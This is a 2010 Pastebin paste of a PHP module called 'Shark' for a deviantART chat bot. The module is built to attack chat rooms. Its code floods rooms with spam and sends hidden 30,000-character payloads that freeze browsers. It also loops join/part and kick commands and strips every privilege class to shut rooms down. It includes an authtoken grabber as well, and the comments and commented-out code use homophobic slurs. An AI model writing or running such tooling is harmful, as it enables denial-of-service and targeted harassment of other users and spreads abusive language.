Advertisement
infernotorrent

ihm shark v 4.2 updated

Apr 13th, 2010
43
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.25 KB | None | 0 0
  1. <?php
  2.  
  3. /* ---Shark module for Contra
  4.  * Not to be redistributed unless you have explicitly gained my permission.
  5.  * Written by bloodshedsniper/i-hate-mushrooms/i-haet-mushrooms <infernowasp@gmail.com>
  6. */
  7.  
  8. class dAmn_Shark extends extension {
  9.    
  10.     public $name = 'Shark';
  11.     public $version = '4.2';
  12.     public $about = 'No info, beat the fucking author, fagass.';
  13.     public $status = true;
  14.     public $author = 'i-hate-mushrooms';
  15.     public $type = EXT_CUSTOM;
  16.    
  17.     function init() {
  18.        
  19.             $this->addCmd('f', 'c_freeze', 99);
  20.             $this->addCmd('s', 'c_spam', 99);
  21.             $this->addCmd('r', 'c_rape', 99);
  22.             $this->addCmd('t', 'c_gettoken', 99);
  23.             $this->addCmd('sr', 'c_spamrape', 99);
  24.             $this->addCmd('log', 'c_login', 99);
  25.             $this->addCmd('jsp', 'c_joinspampart', 99);
  26.             $this->addCmd('kr', 'c_kickrape', 99);
  27.             $this->addCmd('close', 'c_close', 99);
  28. //          $this->addCmd('getcookie', 'c_cookie', 99);
  29.  
  30.        
  31.             $this->cmdHelp('f', 'Freeze. Made specifically to freeze browsers. Outputs 30k dots in a hidden abbr per send. Will show as a blank send to normal users. Multiple send (using a number more than one) doesn\'t seem to work yet. f room 1');
  32.             $this->cmdHelp('s', 'Spam. Basic flood cmd. s room number msg');
  33.             $this->cmdHelp('r', 'Rape. join, part, join process loop. r room number');
  34.             $this->cmdHelp('t', 'Grabs an autotoken. -The terminal input password feature doesn\'t seem to work very well on Linux. t username password');
  35.             $this->cmdHelp('sr', 'Spam rape. msg, part, join, msg process loop. sr room number msg');
  36.             $this->cmdHelp('log', 'Login. -The terminal input password feature doesn\'t seem to work very well on Linux. log username password');
  37.             $this->cmdHelp('jsp', 'join, spam, part. Joining and parting automated for ease/speed of use. jsp room number msg');
  38.             $this->cmdHelp('kr', 'Kickrape. kr user number msg/reason');
  39.             $this->cmdHelp('close', 'Close a room. Based on :devMNBot:\'s close cmd; lacks close confirmation. Bot account must be in pc with +admin.');
  40. //          $this->cmdHelp('getcookie', 'No help for this command, beat the author.');
  41. }
  42.     function c_close($ns, $from, $message, $target) {
  43.             $tg = args($message, 1);
  44.     if (empty($tg))
  45.             foreach($this->dAmn->chat[$ns]['pc'] as $ord => $pc) {$this->dAmn->admin($ns, " remove privclass $pc");}
  46. /*          $this->dAmn->admin($ns, " update privclass $pc -msg");
  47.             $this->dAmn->admin($ns, " rename privclass $pc to Faggots");
  48.             $this->dAmn->admin($ns, " rename privclass Faggots to Holy");
  49.             $this->dAmn->admin($ns, " rename privclass Holy to Shit");
  50.             $this->dAmn->admin($ns, " rename privclass Shit to Look");
  51.             $this->dAmn->admin($ns, " rename privclass Look to At");
  52.             $this->dAmn->admin($ns, " rename privclass At to What");
  53.             $this->dAmn->admin($ns, " rename privclass What to Is");
  54.             $this->dAmn->admin($ns, " rename privclass Is to Happening");
  55.             $this->dAmn->admin($ns, " rename privclass Happening to Rofl");
  56.             $this->dAmn->admin($ns, " rename privclass Rofl to You");
  57.             $this->dAmn->admin($ns, " rename privclass You to Got");
  58.             $this->dAmn->admin($ns, " rename privclass Got to Owned");
  59.             $this->dAmn->admin($ns, " rename privclass Owned to FuckedOver");}
  60.            
  61.             $this->dAmn->set($ns, "title", "<b>i accidentally in your base</b>");
  62.             $this->dAmn->set($ns, "topic", str_repeat(':iconlololplz:', 2000));*/
  63. }
  64.  
  65.     function c_freeze($ns, $from, $message, $target) {
  66.             $tg = args($message, 1);
  67.             $nu = args($message, 2, true);
  68.     if (empty($tg))
  69.             $this->dAmn->say($ns, $from.': <b>Usage:</b> f room number');
  70.     else   
  71.             $this->dAmn->join("chat:$tg");
  72.     for ($i = 0; $i < $nu; $i++) {
  73.             $this->dAmn->say("chat:$tg", "<abbr title='" . str_repeat('.', 30000) . "'>&#09;</abbr>");
  74. }
  75. }
  76.    
  77.     function c_spam($ns, $from, $message, $target) {
  78.             $tg = args($message, 1);
  79.             $nu = args($message, 2);
  80.             $msg = args($message, 3, true);
  81.     if (empty($tg))
  82.             $this->dAmn->say($ns, $from.': <b>Usage:</b> s room number msg');
  83.     else   
  84.         $this->dAmn->join("chat:$tg");
  85.     for($i = 0; $i < $nu; $i++) {
  86.             $this->dAmn->say("chat:$tg", $msg);
  87. }
  88. }
  89.        
  90.     function c_joinspampart($ns, $from, $message, $target) {
  91.             $tg = args($message, 1);
  92.             $nu = args($message, 2);
  93.             $msg = args($message, 3, true);
  94.     if (empty($tg))
  95.             $this->dAmn->say($ns, $from.': <b>Usage:</b> jsp room number msg');
  96.     else   
  97.             $this->dAmn->join("chat:$tg");
  98.     for ($i = 0; $i < $nu; $i++) {
  99.             $this->dAmn->say("chat:$tg", $msg);
  100. }
  101.             $this->dAmn->part("chat:$tg");
  102. }
  103.        
  104.     function c_rape($ns, $from, $message, $target) {
  105.             $tg = args($message, 1);
  106.             $nu = args($message, 2, true);
  107.     if (empty($tg))
  108.             $this->dAmn->say($ns, $from.': <b>Usage:</b> r room number');
  109.     else {
  110.     for ($i = 0; $i < $nu; $i++) {
  111.             $this->dAmn->part("chat:$tg");
  112.             $this->dAmn->join("chat:$tg");
  113. }
  114. }
  115. }
  116.            
  117.     function c_gettoken($ns, $from, $message, $target) {
  118.             $user = args($message, 1);
  119.             $pass = args($message, 2);
  120.             $un = args($message, 3, true);
  121.     if (empty($user))
  122.     return
  123.             $this->dAmn->say($ns, $from.': <b>Usage:</b> At least provide a username.');
  124.     elseif (empty($pass)) {
  125.             $this->dAmn->say($ns, $from.': Enter password in terminal/console. (This doesn\'t seem to work well on Linux btw lol)');
  126.     print "What's the password? ";
  127.             $pass = trim(fgets(STDIN));
  128. }
  129.             $cookie = cookiegrab($user, $pass);
  130.     if (empty($cookie))
  131.             $this->dAmn->say($ns, $from.': Invalid username or password.');
  132.             $this->dAmn->say($ns, $from.': ' . $cookie['authtoken']);
  133. }
  134.        
  135.     function c_spamrape($ns, $from, $message, $target) {
  136.             $tg = args($message, 1);
  137.             $nu = args($message, 2);
  138.             $msg = args($message, 3, true);
  139.     if (empty($tg))
  140.             $this->dAmn->say($ns, $from.': <b>Usage:</b> sr room number');
  141.     else
  142.     for($i = 0; $i < $nu; $i++) {
  143.             $this->dAmn->join("chat:$tg");
  144.             $this->dAmn->say("chat:$tg", $msg);
  145.             $this->dAmn->part("chat:$tg");
  146. }
  147. }
  148.        
  149.     function c_login($ns, $from, $message, $target) {
  150.             $user = args($message, 1);
  151.             $pass = args($message, 2);
  152.             $wut = args($message, 3, true);
  153.     if (empty($user))
  154.             $this->dAmn->say($ns, $from.': At least provide a username.');
  155.     elseif (empty($pass)) {
  156.             $this->dAmn->say($ns, $from.': Enter password in the console. (This doesn\'t seem to work well on Linux btw lol)');
  157.     print "What's $user's password? ";
  158.             $pass = trim(fgets(STDIN));
  159. }
  160.             $cookie = cookiegrab($user, $pass);
  161.     if (empty($cookie))
  162.             $this->dAmn->say($ns, $from.': Invalid username or password.');
  163.             $this->Bot->username = $user;
  164.             $this->Bot->cookie['authtoken'] = $cookie['authtoken'];
  165.             $this->dAmn->disconnect();
  166. }
  167.     function c_kickrape($ns, $from, $message, $target) {
  168.             $user = args($message, 1);
  169.             $nu = args($message, 2);
  170.             $res = args($message, 3, true);
  171.     if(empty($user)) {
  172.             $this->dAmn->say($ns, $from.': <b>Usage:</b> kr username number msg/reason');
  173.     return;
  174. }
  175.     if (!is_numeric($nu))
  176.             $r = args($message, 2, true); $r = $r==''?false:$r;
  177.     for($i = 0; $i < $nu; $i++) {
  178.         sleep(1);
  179.             $this->dAmn->kick($target, $user, $res);
  180.             }
  181.         }
  182.     }
  183.  
  184.         define('LBR', chr(10));
  185.     function cookiegrab($username, $pass) {
  186.    
  187.             $socket = fsockopen('ssl://www.deviantart.com', 443);
  188.     if      ($socket === false) {
  189.     echo '>> Unable to connect.'.LBR;
  190.     echo '>> Check your connection.'.LBR;
  191.     return 1;
  192. }
  193.             $POST = 'ref='.urlencode('https://www.deviantart.com/users/login');
  194.             $POST.= '&username='.urlencode($username);
  195.             $POST.= '&password='.urlencode($pass);
  196.             $POST.= '&reusetoken=1' . chr(0);
  197.         fputs($socket, 'POST /users/login HTTP/1.1'.LBR);
  198.         fputs($socket, 'Host: www.deviantart.com'.LBR);
  199.         fputs($socket, 'User-Agent: Authtoken grabber'.LBR);
  200.         fputs($socket, 'Accept: text/html'.LBR);
  201.         fputs($socket, 'Cookie: skipintro=1'.LBR);
  202.         fputs($socket, 'Content-Type: application/x-www-form-urlencoded'.LBR);
  203.         fputs($socket, 'Content-Length: ' . strlen ($POST) . LBR . LBR . $POST);
  204.             $response = '';
  205.     while (!feof ($socket))
  206.             $response .= fgets ($socket, 500);
  207.         fclose ($socket);
  208.     if(!empty($response)) {
  209.             $response = urldecode($response);
  210.             $response = substr($response, strpos($response,'=')+1);
  211.             $cookie = unserialize(substr($response, 0, strpos($response, ';};')+2));
  212.     if(is_array($cookie)) {
  213.     if(array_key_exists('authtoken', $cookie))
  214.     return $cookie;
  215. }
  216. }
  217.     return Null;  
  218. }
  219.  
  220. new dAmn_Shark;
  221.  
  222. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement